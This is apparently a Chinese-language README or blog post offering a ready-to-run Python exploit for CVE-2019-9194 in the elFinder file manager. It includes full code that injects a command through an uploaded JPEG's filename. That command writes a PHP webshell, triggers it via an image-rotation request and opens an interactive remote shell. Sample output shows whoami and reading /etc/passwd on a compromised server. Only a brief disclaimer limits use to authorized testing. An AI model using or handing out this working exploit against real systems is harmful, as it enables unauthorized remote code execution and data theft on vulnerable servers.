elFinder远程命令注入攻击利用框架(CVE-2019-9194)

3 阅读5分钟

elFinder 命令注入漏洞利用工具 (CVE-2019-9194)

一个专业、高效的漏洞利用框架,专门针对 elFinder 文件管理器 2.1.47 及更早版本中的命令注入漏洞(CVE-2019-9194)。该工具能够通过精心构造的JPEG文件上传,利用图像处理过程中的命令注入点,在目标服务器上部署PHP Webshell,并提供交互式远程命令执行环境。

功能特性

  • 自动化漏洞利用 - 完整的攻击链自动化:从恶意文件上传到漏洞触发,再到Webshell部署
  • 交互式Shell - 成功利用后直接获得交互式命令行环境,支持实时命令执行
  • 智能文件上传 - 利用JPEG图片文件的文件名注入系统命令,绕过文件类型检查
  • 命令注入触发 - 通过图像旋转操作触发命令执行,无需额外交互
  • 实时状态反馈 - 详细的执行过程输出,便于监控攻击进度和调试
  • 错误处理机制 - 完善的HTTP状态码检查和异常处理,确保利用过程稳定

安装指南

系统要求

  • Python 3.6+
  • 目标服务器安装有 exiftran 工具
  • 目标启用 elFinder PHP 连接器(connector.minimal.php)

依赖安装

# 克隆代码仓库
git clone https://github.com/yourusername/CVE-2019-9194-exploit.git
cd CVE-2019-9194-exploit

# 安装Python依赖
pip3 install requests

快速开始

工具采用单文件设计,下载后即可直接使用,无需复杂配置:

# 赋予执行权限
chmod +x exploit.py

# 查看帮助
python3 exploit.py

使用说明

基础用法

工具的使用非常简单,只需要提供目标URL即可:

python3 exploit.py http://target.com/elFinder

完整利用过程

  1. 恶意文件上传 - 工具会自动上传一个包含命令注入payload的JPEG图片
  2. 触发漏洞 - 通过图像旋转操作激活命令注入
  3. Webshell部署 - 注入的命令会在服务器上创建PHP Webshell
  4. 交互式访问 - 自动连接到部署的Webshell并提供命令行交互

实际示例

$ python3 exploit.py http://192.168.1.100/elFinder
[*] Uploading malicious image...
[*] File uploaded, hash: l1_U2VjU2lnbmFsLmpwZw
[*] Triggering command injection via image rotation...
[*] Checking for webshell...
[+] Pwned!
[+] Interactive shell (Ctrl+C to exit)

$ whoami
www-data

$ ls -la
total 124
drwxr-xr-x 5 www-data www-data  4096 Mar  1 10:30 .
drwxr-xr-x 8 root     root      4096 Mar  1 10:30 ..
-rw-r--r-- 1 www-data www-data  1234 Mar  1 10:30 SecSignal.php
drwxr-xr-x 2 www-data www-data  4096 Mar  1 10:30 files
-rw-r--r-- 1 www-data www-data 56789 Mar  1 10:30 index.php

$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
...

技术原理

漏洞利用的核心在于 elFinder 在处理文件旋转时,未对通过文件名传递的参数进行充分过滤,直接将用户控制的参数传递给 exiftran 命令执行。攻击者可以在文件名中注入命令分隔符和恶意命令,实现远程代码执行。

核心代码

漏洞利用主框架

#!/usr/bin/env python3
"""
CVE-2019-9194 - elFinder <= 2.1.47 Command Injection
Usage: python3 exploit.py http://TARGET
"""

import requests
import json
import sys

SHELL_FILENAME = "SecSignal.php"

# Filename payload: injects command that writes a PHP webshell
# The hex decodes to: <?php system($_GET["c"]); ?>
UPLOAD_FILENAME = (
    "SecSignal.jpg;"
    "echo 3c3f7068702073797374656d28245f4745545b2263225d293b203f3e0a "
    f"| xxd -r -p > {SHELL_FILENAME};"
    "echo SecSignal.jpg"
)

def upload(url: str) -> str:
    """上传包含恶意payload的JPEG文件"""
    files = {"upload[]": (UPLOAD_FILENAME, JPEG, "image/jpeg")}
    data = {
        "reqid":   "1693222c439f4",
        "cmd":     "upload",
        "target":  "l1_Lw",
        "mtime[]": "1497726174",
    }
    r = requests.post(f"{url}/php/connector.minimal.php", files=files, data=data)
    r.raise_for_status()
    return json.loads(r.text)["added"][0]["hash"]

漏洞触发模块

def img_rotate(url: str, file_hash: str) -> None:
    """
    通过图像旋转操作触发命令注入漏洞
    此操作会调用 exiftran 处理文件名,导致注入的命令被执行
    """
    params = {
        "target":  file_hash,
        "width":   "539",
        "height":  "960",
        "degree":  "180",
        "quality": "100",
        "bg":      "",
        "mode":    "rotate",
        "cmd":     "resize",
        "reqid":   "169323550af10c",
    }
    requests.get(f"{url}/php/connector.minimal.php", params=params)

交互式Shell实现

def shell(url: str) -> None:
    """
    提供交互式命令行界面
    通过PHP webshell执行系统命令并返回结果
    """
    r = requests.get(f"{url}/php/{SHELL_FILENAME}")
    if r.status_code == 200:
        print("[+] Pwned!")
        print("[+] Interactive shell (Ctrl+C to exit)\n")
        while True:
            try:
                cmd = input("$ ").strip()
                if not cmd:
                    continue
                out = requests.get(f"{url}/php/{SHELL_FILENAME}", params={"c": cmd})
                print(out.text.strip())
            except KeyboardInterrupt:
                print("\nBye!")
                sys.exit(0)
    else:
        print(f"[-] Shell not found (HTTP {r.status_code}). Target may not be vulnerable.")

恶意JPEG构造

# 最小有效的JPEG文件二进制数据
# 来源: https://github.com/mathiasbynens/small/blob/master/jpeg.jpg
JPEG = bytes([
    0xFF,0xD8,0xFF,0xDB,0x00,0x43,0x00,0x03,0x02,0x02,0x02,0x02,0x02,0x03,0x02,0x02,
    0x02,0x03,0x03,0x03,0x03,0x04,0x06,0x04,0x04,0x04,0x04,0x04,0x08,0x06,0x06,0x05,
    0x06,0x09,0x08,0x0A,0x0A,0x09,0x08,0x09,0x09,0x0A,0x0C,0x0F,0x0C,0x0A,0x0B,0x0E,
    0x0B,0x09,0x09,0x0D,0x11,0x0D,0x0E,0x0F,0x10,0x10,0x11,0x10,0x0A,0x0C,0x12,0x13,
    0x12,0x10,0x13,0x0F,0x10,0x10,0x10,0xFF,0xC9,0x00,0x0B,0x08,0x00,0x01,0x00,0x01,
    0x01,0x01,0x11,0x00,0xFF,0xCC,0x00,0x06,0x00,0x10,0x10,0x05,0xFF,0xDA,0x00,0x08,
    0x01,0x01,0x00,0x00,0x3F,0x00,0xD2,0xCF,0x20,0xFF,0xD9,
])

主程序入口

def main():
    """主程序入口:参数解析和漏洞利用流程控制"""
    if len(sys.argv) != 2:
        print(f"Usage: python3 {sys.argv[0]} http://TARGET")
        sys.exit(1)

    url = sys.argv[1].rstrip("/")

    print("[*] Uploading malicious image...")
    file_hash = upload(url)
    print(f"[*] File uploaded, hash: {file_hash}")

    print("[*] Triggering command injection via image rotation...")
    img_rotate(url, file_hash)

    print("[*] Checking for webshell...")
    shell(url)

if __name__ == "__main__":
    main()

注意事项

  • 本工具仅用于安全测试和教育目的
  • 使用前请确保获得目标系统的明确授权
  • 未经授权的测试可能违反法律法规
  • 建议在受控环境中进行漏洞验证

相关链接